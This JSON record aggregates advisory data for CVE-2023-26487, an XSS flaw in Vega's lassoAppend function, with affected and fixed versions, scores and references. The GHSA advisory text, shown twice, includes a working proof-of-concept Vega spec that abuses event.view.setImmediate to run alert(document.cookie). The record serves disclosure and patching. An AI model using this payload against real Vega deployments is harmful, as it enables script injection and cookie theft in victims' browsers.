{"id":"CVE-2023-26487","aliases":["DEBIAN-CVE-2023-26487","EUVD-2023-1128","GHSA-w5m3-xh75-mp55"],"status":"published","title":"Vega has cross-site scripting vulnerability in `lassoAppend` function","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced. This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`). The issue is that`lassoAppend` doesn't enforce proper types of its arguments. This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality). This issue was patched in 5.23.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00806,"percentile":0.57122,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2023-03-02T23:08:21Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"npm","package":"vega","fixed_in":["5.23.0"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"vega-functions","fixed_in":["5.13.1"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"vega.js","fixed_in":["5.25.0+ds+~cs5.3.0-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"vega.js","fixed_in":["5.25.0+ds+~cs5.3.0-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vega","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"vega-functions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.13.1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.22.1+ds+~3.1.0-4","5.25.0+ds+~cs5.3.0-1","5.25.0+ds+~cs5.3.0-2","5.25.0+ds+~cs5.3.0-3","5.25.0+ds+~cs5.3.0-4","5.25.0+ds+~cs5.3.0-5","5.28.0+ds+~cs5.3.0-1","5.28.0+ds+~cs5.3.0-2","5.28.0+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-1","5.33.1+ds+~cs5.3.0-2","5.33.1+ds+~cs5.3.0-3","5.33.1+ds+~cs5.3.0-4"]},{"source":"osv","ecosystem":"Debian:13","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.25.0+ds+~cs5.3.0-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"vega.js","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.25.0+ds+~cs5.3.0-1"}]}]},{"source":"osv","ecosystem":"npm","package":"vega","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.23.0"}]}]},{"source":"osv","ecosystem":"npm","package":"vega-functions","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.13.1"}]}]}],"products":[{"vendor":"vega","product":"vega"},{"vendor":"vega-functions_project","product":"vega-functions"},{"vendor":"vega_project","product":"vega"}],"references":[{"url":"https://github.com/vega/vega/security/advisories/GHSA-w5m3-xh75-mp55","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/vega/vega/commit/01adb034f24727d3bb321bbbb6696a7f4cd91689","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/vega/vega/releases/tag/v5.23.0","tags":["x_refsource_MISC","x_transferred","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26487","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-w5m3-xh75-mp55"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/26xxx/CVE-2023-26487.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2023-26487","tags":["advisory"]},{"url":"https://github.com/vega/vega","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-26487","title":"Vega has cross-site scripting vulnerability in `lassoAppend` function","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced. This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`). The issue is that`lassoAppend` doesn't enforce proper types of its arguments. This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality). This issue was patched in 5.23.0.\n","status":"published","published":"2023-03-03T23:47:28.486Z","modified":"2025-02-25T15:01:54.57Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:35:15.434947Z"}],"euvd":[{"id":"EUVD-2023-1128","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced. This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`). The issue is that`lassoAppend` doesn't enforce proper types of its arguments. This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality). This issue was patched in 5.23.0.\n","status":"published","published":"2023-03-03T23:47:28Z","modified":"2025-02-25T15:01:54Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T20:53:24.646946Z"}],"ghsa":[{"id":"GHSA-w5m3-xh75-mp55","title":"Vega has Cross-site Scripting vulnerability in `lassoAppend` function","description":"### Summary\n\nVega's `lassoAppend` function: `lassoAppend` accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.\n\nThis makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`).\n\n### Details\nThe issue is that [`lassoAppend`](https://github.com/vega/vega/blob/7eafbbd4d53d0ce9f08e74ff96c90d411b1bb80a/packages/vega-functions/src/functions/lasso.js#L13) doesn't enforce proper types of its arguments:\n```js\n.....\nexport function lassoAppend(lasso, x, y, minDist = 5) {\n    const last = lasso[lasso.length - 1];\n\n    // Add point to lasso if distance to last point exceed minDist or its the first point\n    if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) \u003e minDist) {\n        lasso.push([x, y]);\n.....\n```\n\n### PoC\n\nUse the following Vega snippet (depends on browser's non-built-in `event.view.setImmediate` function, feel free to replace with `event.view.console.log` or alike and observe the result in the browser's console)\n\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"width\": 350,\n  \"height\": 350,\n  \"autosize\": \"none\",\n  \"description\": \"Toggle Button\",\n  \"signals\": [\n    {\n      \"name\": \"toggle\",\n      \"value\": false,\n      \"on\": [\n        {\n          \"events\": {\"type\": \"click\", \"markname\": \"circle\"},\n          \"update\": \"toggle ? false : true\"\n        }\n      ]\n    },\n    {\n      \"name\": \"addFilter\",\n      \"on\": [\n        {\n          \"events\": {\"type\": \"mousemove\", \"source\": \"window\"},\n          \"update\": \"lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')\"\n        }\n      ]\n    }\n  ],\n  \"marks\": [\n    {\n      \"name\": \"circle\",\n      \"type\": \"symbol\",\n      \"zindex\": 1,\n      \"encode\": {\n        \"enter\": {\n          \"y\": {\"signal\": \"height/2\"},\n          \"angle\": {\"value\": 0},\n          \"size\": {\"value\": 400},\n          \"shape\": {\"value\": \"circle\"},\n          \"fill\": {\"value\": \"white\"},\n          \"stroke\": {\"value\": \"white\"},\n          \"strokeWidth\": {\"value\": 2},\n          \"cursor\": {\"value\": \"pointer\"},\n          \"tooltip\": {\"signal\": \"{Tip: 'Click to fire XSS'}\"}\n        },\n        \"update\": {\"x\": {\"signal\": \"toggle === true ? 190 : 165\"}}\n      }\n    },\n    {\n      \"name\": \"rectangle\",\n      \"type\": \"rect\",\n      \"zindex\": 0,\n      \"encode\": {\n        \"enter\": {\n          \"x\": {\"value\": 152},\n          \"y\": {\"value\": 162.5},\n          \"width\": {\"value\": 50},\n          \"height\": {\"value\": 25},\n          \"cornerRadius\": {\"value\": 20}\n        },\n        \"update\": {\n          \"fill\": {\"signal\": \"toggle === true ? '#006BB4' : '#939597'\"}\n        }\n      }\n    }\n  ]\n}\n```\n\n### Impact\nThis issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality).\n","status":"published","published":"2023-03-02T23:08:21Z","modified":"2023-03-13T15:30:51Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:36:47.279442Z"}],"nvd":[{"id":"CVE-2023-26487","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced. This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`). The issue is that`lassoAppend` doesn't enforce proper types of its arguments. This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality). This issue was patched in 5.23.0.\n","status":"published","published":"2023-03-04T00:15:15.563Z","modified":"2026-06-17T05:43:26.7Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:07:48.342507Z"}],"osv":[{"id":"CVE-2023-26487","title":"Vega has cross-site scripting vulnerability in `lassoAppend` function","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced. This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`). The issue is that`lassoAppend` doesn't enforce proper types of its arguments. This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality). This issue was patched in 5.23.0.\n","status":"published","published":"2023-03-03T23:47:28.486Z","modified":"2026-10-28T02:30:54.908383068Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:31.135751Z"},{"id":"DEBIAN-CVE-2023-26487","description":"Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced. This makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`). The issue is that`lassoAppend` doesn't enforce proper types of its arguments. This issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality). This issue was patched in 5.23.0.","status":"published","published":"2023-03-04T00:15:15.563Z","modified":"2026-10-26T18:00:40.946561508Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:39.369204Z"},{"id":"GHSA-w5m3-xh75-mp55","title":"Vega has Cross-site Scripting vulnerability in `lassoAppend` function","description":"### Summary\n\nVega's `lassoAppend` function: `lassoAppend` accepts 3 arguments and internally invokes `push` function on the 1st argument specifying array consisting of 2nd and 3rd arguments as `push` call argument. The type of the 1st argument is supposed to be an array, but it's not enforced.\n\nThis makes it possible to specify any object with a `push` function as the 1st argument, `push` function can be set to any function that can be access via `event.view` (no all such functions can be exploited due to invalid context or signature, but some can, e.g. `console.log`).\n\n### Details\nThe issue is that [`lassoAppend`](https://github.com/vega/vega/blob/7eafbbd4d53d0ce9f08e74ff96c90d411b1bb80a/packages/vega-functions/src/functions/lasso.js#L13) doesn't enforce proper types of its arguments:\n```js\n.....\nexport function lassoAppend(lasso, x, y, minDist = 5) {\n    const last = lasso[lasso.length - 1];\n\n    // Add point to lasso if distance to last point exceed minDist or its the first point\n    if (last === undefined || Math.sqrt(((last[0] - x) ** 2) + ((last[1] - y) ** 2)) \u003e minDist) {\n        lasso.push([x, y]);\n.....\n```\n\n### PoC\n\nUse the following Vega snippet (depends on browser's non-built-in `event.view.setImmediate` function, feel free to replace with `event.view.console.log` or alike and observe the result in the browser's console)\n\n```json\n{\n  \"$schema\": \"https://vega.github.io/schema/vega/v5.json\",\n  \"width\": 350,\n  \"height\": 350,\n  \"autosize\": \"none\",\n  \"description\": \"Toggle Button\",\n  \"signals\": [\n    {\n      \"name\": \"toggle\",\n      \"value\": false,\n      \"on\": [\n        {\n          \"events\": {\"type\": \"click\", \"markname\": \"circle\"},\n          \"update\": \"toggle ? false : true\"\n        }\n      ]\n    },\n    {\n      \"name\": \"addFilter\",\n      \"on\": [\n        {\n          \"events\": {\"type\": \"mousemove\", \"source\": \"window\"},\n          \"update\": \"lassoAppend({'push':event.view.setImmediate},'alert(document.domain)','alert(document.cookie)')\"\n        }\n      ]\n    }\n  ],\n  \"marks\": [\n    {\n      \"name\": \"circle\",\n      \"type\": \"symbol\",\n      \"zindex\": 1,\n      \"encode\": {\n        \"enter\": {\n          \"y\": {\"signal\": \"height/2\"},\n          \"angle\": {\"value\": 0},\n          \"size\": {\"value\": 400},\n          \"shape\": {\"value\": \"circle\"},\n          \"fill\": {\"value\": \"white\"},\n          \"stroke\": {\"value\": \"white\"},\n          \"strokeWidth\": {\"value\": 2},\n          \"cursor\": {\"value\": \"pointer\"},\n          \"tooltip\": {\"signal\": \"{Tip: 'Click to fire XSS'}\"}\n        },\n        \"update\": {\"x\": {\"signal\": \"toggle === true ? 190 : 165\"}}\n      }\n    },\n    {\n      \"name\": \"rectangle\",\n      \"type\": \"rect\",\n      \"zindex\": 0,\n      \"encode\": {\n        \"enter\": {\n          \"x\": {\"value\": 152},\n          \"y\": {\"value\": 162.5},\n          \"width\": {\"value\": 50},\n          \"height\": {\"value\": 25},\n          \"cornerRadius\": {\"value\": 20}\n        },\n        \"update\": {\n          \"fill\": {\"signal\": \"toggle === true ? '#006BB4' : '#939597'\"}\n        }\n      }\n    }\n  ]\n}\n```\n\n### Impact\nThis issue opens various XSS vectors, but exact impact and severity depends on the environment (e.g. Core JS `setImmediate` polyfill basically allows `eval`-like functionality).\n","status":"published","published":"2023-03-02T23:08:21Z","modified":"2026-09-10T03:49:57.054220465Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:58.04805Z"}]}}